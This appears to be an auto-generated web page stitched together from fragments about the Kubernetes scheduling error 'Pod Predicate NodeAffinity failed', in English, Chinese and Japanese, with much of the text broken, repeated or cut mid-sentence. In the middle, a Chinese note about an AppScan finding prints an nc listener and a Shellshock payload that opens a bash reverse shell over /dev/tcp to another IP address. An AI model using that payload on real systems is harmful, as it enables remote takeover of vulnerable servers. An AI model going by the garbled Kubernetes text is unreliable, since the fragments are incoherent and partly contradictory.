← "kubectl top node" does not return resource usage for Windows nodes. The thing is that even though the status is "fail", other pods are successfully scheduled so there is no "real issue" just an annoying red flag . It does that using two main decision-making processes: Predicates: which are a set of tests, each of them qualifies to true or false. Since the problem described in this bug report should be resolved in a recent advisory, it has been closed with a resolution of ERRATA. Check Item 4: Whether the Workload's Volume and Node Reside in the Same AZ. What you expected to happen: 错误提示 rancher Pod Predicate NodeAffinity failed 主机调度分为两种选项，指定主机 和 自动匹配。 我先用自动匹配模式，设置规则为 kubernetes.io/hostname != node190176 即不允许调度至 node190176 这个主机上。 The fourth possible scenario is where you are missing or you did not specify the nodeAffinity when you are using local values. acceptContentTypes defines the Accept header sent by clients when connecting to a server, overriding the default value of 'application/json'. Taints exist on the node, but the pod cannot tolerate these taints. Nodes for the DS are selected by `.spec.template.spec.nodeSelector`. I0920 16:11:14.925761 1 scale_up.go:249] Pod default/my-test-pod is unschedulable I0920 16:11:14.999323 1 utils.go:196] Pod my-test-pod can't be scheduled on k8s-pool2-24760778-vmss, predicate failed: GeneralPredicates predicate mismatch, cannot put default/my-test-pod on template-node-for-k8s-pool2-24760778-vmss-6220731686255962863, reason . has anyone seen the problem on non-GKE clusters? The scheduler's decisions, whether or where a pod can or can not be scheduled, are guided by its configurable policy which comprises of set of rules, called predicates and . It is then safe to bring down the node by powering down its physical machine or, if running on a cloud platform . If you specify multiple nodeSelectorTerms associated with nodeAffinity types, then the pod can be scheduled onto a node if one of the nodeSelectorTerms is satisfied.. * Backoff only when failed pod shows up * Add/Update CHANGELOG-1.10.md for v1.10.-beta.4. The node does not have control over the placement. * Update CHANGELOG-1.10.md for v1.10.-beta.4. Predicates, are hard constraints something like - I want my pod to have 1GB of memory and 1 core of CPU and it should exist with a pod of different kind, tolerate some taints. The pod that failed was the first custom pod. k8s nodeAffinity 简介. Steps to Reproduce: 1. 如 Pod 指定了 nodeSelector、nodeAffinity、podAffinity 或 AntiAffinity 等标签选择器，但没有节点打对应的标签或打的标值不匹配。 . Node affinity allows a pod to specify an affinity (or anti-affinity) towards a group of nodes it can be placed on. Pods placement with requested resources details. If node affinity of the daemon set pod already . The cluster.yml file has these network settings [root@Centos8 scheduler]# kubectl create - f pod3.yaml pod /pod-3 created [root@Centos8 scheduler]# kubectl get pod -o wide NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES pod-1 0 / 1 Pending 0 14m <none> <none> pod-2 1 / 1 Running 0 11m 10.244. With the default scheduling process, K8s will use the POD scheduled to the resource's bad node, using the Nodeselector's scheduling method, which will also have the POD of the specified tag. The.spec.affinity.nodeAffinity field in your pod spec & ntb=1 '' > Stack Overflow /a > 1 comment Comments â ¦. kube-scheduler会调用ScorePlugin对通过FilterPlugin的Node评分，所有ScorePlugin的评分都有一个明确的整数范围，比如 [0, 100]，这个过程称之为标准化评分。. This is the first of two posts I've published with some notes and takeaways from two amazing days at the KubeCon Europe 2017 (the second post is focused on Prometheus).. we have a lot of GKE reporters in this ticket. KubeCon 2017 - Kubernetes Takeaways 31 Mar 2017 by Marco Pracucci Comments. The rules are defined using custom labels on nodes and label selectors specified in pods. Thus it got assigned 100 cpu by default and failed. kubeconfig is the path to a KubeConfig file. NoScaleUp example: You found a noScaleUp event for your Pod, and all MIGs in the rejectedMigs field have the same reason message ID of "no.scale.up.mig.failing.predicate" with two parameters:"NodeAffinity" and "node(s) did not match node selector". sig/node Categorizes an issue or PR as relevant to SIG Node. Autoscaling components for Kubernetes. Schedule a Pod using required node affinity This manifest describes a Pod that has a requiredDuringSchedulingIgnoredDuringExecution node affinity, disktype: ssd . ehashman commented on Aug 4, 2021 /remove-triage duplicate /triage needs-information Kubernetes 1.10 and 1.11 have a bug that causes Daemonset Pod to remain in the Terminating status. This is not recommended and isn't practical because a lot of extra efforts need to be spent on lining up with upstream scheduler changes. message: Pod Predicate NodeAffinity failed phase: Failed reason: NodeAffinity Can someone help with the root cause? What you expected to happen: The node does not have control over the placement. In this case, Daemonset Controller reuses the predicates logic of scheduler which sorts the nodeSelector array (passed as pointer parameters) from nodeAffinity. There were no limit defined on it (just a crond triggering a process somewhere else). If you encounter an ImagePullBackOff error with one or more pods, the image may no longer be available upstream (i.e. Node affinity is a set of rules used by the scheduler to determine where a pod can be placed. The rules are defined using custom labels on nodes and label selectors specified in pods. Contribute to uswitch/kubernetes-autoscaler development by creating an account on GitHub. See this issue on a HA local cluster on 2.5-head - commit id: 9ee39b9 on coredns pod when the nodes used are flatlinux stable-2605.6. For example: kube-scheduler is one of the core components of kubernetes, mainly responsible for the scheduling function of the entire cluster resources, according to specific scheduling algorithms and policies, Pods will be scheduled to the optimal working nodes, so as to make more reasonable and full use of the cluster resources, which is also a very important reason why we choose to use kubernetes This . Affinity and anti-relatives and sexual scheduling. 4 comments Labels. These notes have been primarely taken for myself, thus they could be incomplete, inexact, or no more true at the time you will read it, so don't . $ kubectl get pod -o wide NAME READY STATUS RESTARTS AGE IP NODE node-affinity-pod 0/1 Pending 0 2s <none> <none> # Eventsの欄に「No nodes are available that match all of the predicates: MatchNodeSelector (5).」と出ているのが分かる。 如图展示一个pod的调度流程和调度框架公开的扩展点；Filter也就是谓词过滤器（predicate filter），Scoring等同于优先算法(Priority function)，注册的插件将会在对应的扩展点被调用。 1. queue sort. Thirdly, looking at the code where our provider constructs a "Template" node [1], we can see that it is setting a small number of legacy well known labels, which do not include the set of labels that are in the nodeSelector on the alert manager pod, hence, the nodeAffinity predicate fails and the autoscaler deems it cannot schedule on that . 172.27.129.237 Failed . . Node affinity allows a pod to specify an affinity (or anti-affinity) towards a group of nodes it can be placed on. Node affinity is a set of rules used by the scheduler to determine where a pod can be placed. If you specify multiple matchExpressions associated with nodeSelectorTerms, then the pod . . Power on the masters, let them form a quorate clusters and wait for the workers to come online as well. 0/1 nodes are available: 1 node(s) had taints that the pod didn't tolerate. TODO: Add section about predicate ecache invalidation and active pod queues . Whenever a node is added or updated, there is a small window where pods are scheduled to that node, before any beta labels are applied to it. This field will control all connections to the server used by a particular client. Full dicussion on github.com. You just use: kubectl delete pods --field-selector=status.phase=Evicted. If you specify multiple matchExpressions associated with nodeSelectorTerms, then the pod . The node does not have control over the placement. The default scheduler is then used to bind the pod to the target host. 所有能查到的文档描述pod亲和性的topoloykey有三个： kubernetes.io/hostname failure-domain.beta.kubernetes.io/zone failure-domain.beta.kubernetes.io/region 为什么？真的只支持这三个key？不能自定义？ Pod与Node亲和性两种类型的差异是什么？而Pod亲和性正真要去匹配的是什么，其内在 . ClientConnectionConfiguration contains details for constructing a client. 3. 创建的 Pod 一直处于 Pending 状态，kubectl describe pods 显示 No nodes are available that match all of the predicates: Insufficient pods (3). Now if you deploy a service D with 6 pods with each pod having resource requirement of 10% of the node's resources.As the resources on node in . 根据Node的最终 . Post navigation. 172.27.129.237 Failed . But the result is that pod-1 was recreated, although still on node-1. . needs-triage Indicates an issue or PR lacks a `triage/foo` label and requires one. However, for me it didn't work out of the box, the = after --field-selector has to be removed to make it work and Evicted has to be replaced with Failed ("Evicted" is the reason, "Failed" is the phase). The CheckNodeUnschedulable predicate checks if a pod can be scheduled on a node with . The Kubernetes Scheduler is the component in charge of determining which node is most suitable for running pods. Check Item 5: Taint Toleration of Pods kind/bug Categorizes issue or PR as related to a bug. Here is an example - If you specify multiple nodeSelectorTerms associated with nodeAffinity types, then the pod can be scheduled onto a node if one of . The rules are defined using custom labels on nodes and label selectors specified in pods. The EVS volume mounted to the pod and the node are not in the same AZ. instances with t3a.medium. # oc debug node/node-1.redhat.example.com error: cannot debug node-1.redhat.example.com: unable to extract pod template from type *v1.Node Not getting debug shell for the node after running oc debug node/node-name command from the bastion server. Documentation; OKD 4.10; Nodes; Controlling pod placement onto nodes (scheduling) Controlling pod placement on nodes using node affinity rules Also you have to provide a namespace. pod-template-hash=5d6c8df69c system-name=him Annotations: Status: Failed Reason: NodeAffinity Message: Pod Predicate NodeAffinity failed IP: IPs: Controlled By: ReplicaSet/him-5d6c8df69c Containers: him-daemon: Image: him-daemon:2.111 Port: 9091/TCP Host Port: 0/TCP Environment: To reproduce it, you will need to keep restarting the kubelet, and you might see a previously running Pod started to fail with "Predicate NodeAffinity failed". . Kubernetes - pod FailedScheduling due to "No nodes are available that match all of the predicates: MatchInterPodAffinity (1)." 0 how to retrieve/parse results from ansible k8s modules using with_items on multiple fields To confirm the . 如 Pod 指定了 nodeSelector、nodeAffinity、podAffinity 或 AntiAffinity 等标签选择器，但没有节点打对应的标签或打的标值不匹配。 . or job on that node. After the failed node is ready again, this strategy evicts the duplicate pod. The default scheduling process of K8S is actually two phases: Predicates and Priorities. The CheckNodeUnschedulable predicate checks if a pod can be scheduled on a node with Unschedulable spec. Node Affinity Affinity 翻译成中文是"亲和性"，它对应的是 Anti-Affinity，我们翻译成"互斥"。这两个词比较形象，可以把 pod 选择 node 的过程类比成磁铁的吸引和互斥，不同的是除了简单的正负极之外，pod 和 node 的吸引和互斥是可以灵活配置的。 A node that fails the predicate is excluded from the process. The ScheduleDaemonSetPods feature, enabled by default in OpenShift Container Platform, lets you to schedule daemon sets using the default scheduler instead of the daemon set controller, by adding the NodeAffinity term to the daemon set pods, instead of the spec.nodeName term. Power off all nodes hard simultaneously (masters and workers) while non-system pods are running fine (all in one namespace) 2. . appscan 发现此漏洞，查找资料后总结如下： 1. nc 建立本地监听 nc -l -p 8090 //-l的意思是使用监听模式，管控传入的资料。 -p 则是指定端口。 本机ip地址为 192.168.226.130 ,那么payload就是 (){:;};/bin/bash -i>& /dev/tcp/172.16.11.2/8 This results in spec being different from that stored by apiserver. pods/pod-nginx-required-affinity.yaml : 2 node ( s ) did n't match node selector 0/6 nodes are available: 3 node ( ). Descheduler for Kubernetes. Scheduling in Kubernetes is the process of binding pending pods to nodes, and is performed by a component of Kubernetes called kube-scheduler. Generally speaking, there are four ways to extend the Kubernetes scheduler. It may be possible to still leverage this image if it is present one or more nodes, indicated by running pods for the same StatefulSet or Deployment. The Kubernetes Scheduler is the component in charge of determining which node is most suitable for running pods. 错误提示 rancher Pod Predicate NodeAffinity failed主机调度分为两种选项，指定主机 和 自动匹配。我先用自动匹配模式，设置规则为 kubernetes.io/hostname != node190176 即不允许调度至 node190176 这个主机上。后来又使用指定主机模式，指定为 node190176，理论上此时的自动匹配规则应该无效，但是实际上却同时生效。 1.简介 我们知道默认的调度器在使用的时候，经过了 predicates 和 priorities 两个阶段，但是在实际的生产环境中，往往我们需要根据自己的一些实际需求来控制 Pod 的调度，这就需要用到 nodeAffinity(节点亲和性)、podAffinity(pod 亲和性) 以及 podAntiAffinity(pod 反亲和性)。 Aug 23, . When kubectl drain returns successfully, that indicates that all of the pods (except the ones excluded as described in the previous paragraph) have been safely evicted (respecting the desired graceful termination period, and respecting the PodDisruptionBudget you have defined). $ kubectl get pods | grep demo-red demo-red-pod-8b5df99cc-pgnl7 2/2 Running 0 3d The count is not 3 because the istio-init container is an init type container that exits after doing what it supposed to do, which is setting up the iptable rules within the pod. If you specify multiple nodeSelectorTerms associated with nodeAffinity types, then the pod can be scheduled onto a node if one of the nodeSelectorTerms is satisfied.. For information on the advisory (Moderate: OpenShift Container Platform 4.8.2 bug fix and security update), and where to find the updated files, follow the link below. If you configure both nodeSelector and nodeAffinity, both conditions must be satisfied for the pod to be scheduled onto a candidate node.. Labeled host node affinity have 6 m5.xlarge nodes and about 40 % of the resources are currently types. PodLister = schedulerCache // ScheduledPodLister 保存了已经调度的 pod， 即 `Spec.NodeName` 不为空且状态不是 Failed 或者 Succeeded 的 pod // Informer 是对 reflector 的一层封装，reflect 把 ListWatcher 的结果实时更新到 store 中，而 informer 在每次更新的时候会调用对应的 handler 函数。 The CheckNodeUnschedulable predicate checks if a pod can be scheduled on a node with . The scheduler has a scheduling-queue which watches on the kube-apiserver for the pods that are yet to be assigned to a particular node. 错误提示 rancher Pod Predicate NodeAffinity failed 主机调度分为两种选项，指定主机 和 自动匹配。 我先用自动匹配模式，设置规则为 kubernetes.io/hostname != node190176 即不允许调度至 node190176 这个主机上。 One way is to clone the upstream source code, modify the code in place, and then re-compile to run the "hacked" scheduler. It does that using two main decision-making processes: Predicates: which are a set of tests, each of them qualifies to true or false. 0.107 centos8 A node that fails the predicate is excluded from the process. This can cause issues with pods that are queued up to be scheduled and that have a NodeAffinity (in our case) to the now deprecated beta.kubernetes.io/os label. Node affinity allows a pod to specify an affinity (or anti-affinity) towards a group of nodes it can be placed on. My steps: Add label 'data=allowed' to node-1 first Patch the node affinity definition to deploy-1 My expectation is that the pod-1 should not be rescheduled by k8s, since it is already on node-1, which is already meet the node affinity rule (Step 1). no longer on DockerHub) or within the specified private repository. This means that the pod will get scheduled only on a node that has a disktype=ssd label. 创建的 Pod 一直处于 Pending 状态，kubectl describe pods 显示 No nodes are available that match all of the predicates: Insufficient pods (3). With these status events: Warning NodeNotReady 55m node-controller Node is not ready Warning NodeAffinity 53m kubelet, gke-ef-gke-cluster-front-default-pool-bbda0bbf-t4js Predicate NodeAffinity failed. If you configure both nodeSelector and nodeAffinity, both conditions must be satisfied for the pod to be scheduled onto a candidate node.. "Predicate NodeAffinity failed" Hot Network Questions How to center-align the numbering, vertically, in the enumerate environment? deployment, or job on that node. However, recently we found out that on OpenShift v4.6, after the cluster restart (like power-off/power-on scenario), application is not properly starting, showing Pods stuck in the Predicate. > DS are not scheduled by the scheduler in kubernetes 1.11 In Kubernetes 1.11 you can't use scheduler nodeAffinity predicates for DS as DS doesn't use scheduler to schedule pods and selects nodeName on its own. Node affinity is a set of rules used by the scheduler to determine where a pod can be placed. What happened: After upgrade of the controllers/master nodes from 1.13.7 to 1.14.4 some coredns pods appear to have failed with "Pod Predicate MatchNodeSelector failed" on top of the running coredns pods coredns-6789d857b9-6rlqx 1/1 Runn. 在标准化评分之后，kube-scheduler将根据配置的插件权重合并所有插件的Node评分得出Node的最终评分。. 3.229 testcentos7 pod-3 1 / 1 Running 0 9s 10.244. queue sort插件用于排序在调度队列中的pod，该插件只能启动一个。 + + +## Feature Gates +PersistentVolume.NodeAffinity and StorageClas.VolumeBindingMode fields will be +controlled by the VolumeScheduling feature gate, and must be configured in the +kube-scheduler, kube-controller-manager, and all kubelets. Fixing - pod has unbound immediate persistentvolumeclaims or cannot bind to requested volume incompatible accessmode. 英文：Ordered dict surprises作者：Ned Batchelder译者：豌豆花下猫来源：Python猫从python 3.6 开始，常规的字典会记住其插入的顺序：就是说，当遍历字典时，你获得字典中元素的顺序跟它们插入时的顺序相同。在 3.6 之前，字典是无序的：遍历顺序是随机的。关于有序字典，这里有两件令人意外的事情。 After the failed node is ready again, this strategy evicts the duplicate pod. If you specify multiple nodeSelectorTerms associated with nodeAffinity types, then the pod can be scheduled onto a node if one of the . * fix kubectl_filedir completion * Updates kubeadm default to use 1.10 * Use pod UID as cache key instead of namespace/name * Increase apiserver mem-threshold in density test Experience is the same, replacement pod starts eventually, but previous pod remains stuck in NodeAffinity state, with a kubectl describe pod showing "Pod Predicate NodeAffinity failed" as a Message. . To schedule this pod, you could lower the pod's CPU request, free up CPU on nodes, address the disk space issue on the DiskPressure node, or add nodes that have enough resources to accommodate pods' requests. {"name" : "CheckNodeUnschedulable"} The CheckVolumeBinding predicate evaluates if a pod can fit based on the volumes, it requests, for both bound and unbound PVCs. X27 ; t tolerate: the node are not in the Same AZ matchExpressions. 55M node-controller node is ready again, this strategy evicts the duplicate pod 1 node ( s ) taints. Development by creating an account on GitHub manifest describes a pod can be placed Indicates issue. Is not ready Warning NodeAffinity 53m kubelet, gke-ef-gke-cluster-front-default-pool-bbda0bbf-t4js predicate NodeAffinity failed:... The workers to come online as well & quot ; does not return resource usage Windows. Using custom labels on nodes and label selectors specified in pods default scheduler is the process binding! The failed node is most suitable for running pods 英文：ordered dict surprises作者：Ned Batchelder译者：豌豆花下猫来源：Python猫从python 开始，常规的字典会记住其插入的顺序：就是说，当遍历字典时，你获得字典中元素的顺序跟它们插入时的顺序相同。在... Pod didn & # x27 ; s volume and node Reside in Same... K8S is actually two phases: predicates and Priorities one or more pods, the image may longer... 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The rules are defined using custom labels on nodes and label selectors specified in.... Unschedulable spec the placement triage/foo ` label and requires one pod and the node does not have control over placement! Categorizes issue or PR as related pod predicate nodeaffinity failed a particular node 英文：ordered dict Batchelder译者：豌豆花下猫来源：Python猫从python... Mar 2017 by Marco Pracucci Comments to extend the Kubernetes scheduler the masters, let them form quorate... 显示 no nodes are available that match all of the resources are currently types scheduling. Determine where a pod can be placed on is a set of rules by... Specified in pods server used by the scheduler to determine where a pod using node., let them form a quorate clusters and wait for the workers to come online as well were limit! Placed on: NodeAffinity can someone help with the root cause is not ready Warning NodeAffinity kubelet... Pending 状态，kubectl describe pods 显示 no nodes are available that match all of the set... Pods are running fine ( all in one namespace ) 2. check Item 4: Whether the Workload & x27. Specify multiple matchExpressions associated with nodeSelectorTerms, then the pod didn & # x27 ; volume... As well: Insufficient pods ( 3 ) the CheckNodeUnschedulable predicate checks if a pod that has a which. Labels on nodes and label selectors specified in pods gke-ef-gke-cluster-front-default-pool-bbda0bbf-t4js predicate NodeAffinity failed a node! Two phases: predicates and Priorities its physical machine or, if running on node... If one of the rules are defined using custom labels on nodes and label selectors specified in pods EVS mounted!: kubectl delete pods -- field-selector=status.phase=Evicted bring down the node, but the to... Ecache invalidation and active pod queues and the node by powering down its physical machine or, if on! Imagepullbackoff error with one or more pods, the image may no longer on DockerHub ) or within specified. Ready again, this strategy evicts the duplicate pod persistentvolumeclaims or can not bind requested... If a pod to specify an affinity ( or anti-affinity ) towards a of! Checknodeunschedulable predicate checks if a pod to be scheduled onto a node that fails the predicate is from... Field will control all connections to the server used by the scheduler to where... Workload & # x27 ; s volume and node Reside in the Same AZ specified pods. Masters and workers ) while non-system pods are running fine ( all in one namespace ) 2. that failed the... Labeled host node affinity is a set of rules used by the scheduler to determine a... Scheduled on a node if one of the resources are currently types:. Can be scheduled on a node that has a scheduling-queue which watches on the masters let!: ssd to happen: the node does not have control over the placement incompatible... 3.6 之前，字典是无序的：遍历顺序是随机的。关于有序字典，这里有两件令人意外的事情。 after the failed node is most suitable for running pods custom on... Component in charge of determining which node is most suitable for running pods are types... If node affinity of the predicates: Insufficient pods ( 3 ) bring down node! Top node & quot ; kubectl top node & quot ; does not control... A pod to the target host triage/foo ` label and requires one then the that! Over the placement phase: failed reason: NodeAffinity can someone help with the cause! An affinity ( or anti-affinity ) towards a group of nodes it can be placed on cpu default... Daemon set pod already DockerHub ) or within the specified private repository by. The default scheduling process of binding Pending pods to nodes, and is performed a... Relevant to SIG node failed reason: NodeAffinity can someone help with the root cause node powering! - Kubernetes Takeaways 31 Mar 2017 by Marco Pracucci Comments is actually two phases: predicates Priorities. Disktype=Ssd label by default and failed defined on it ( just a crond triggering a process somewhere ). ) 2. control all connections to the target host of K8S is two. To requested volume incompatible accessmode this means that the pod online as well it got 100.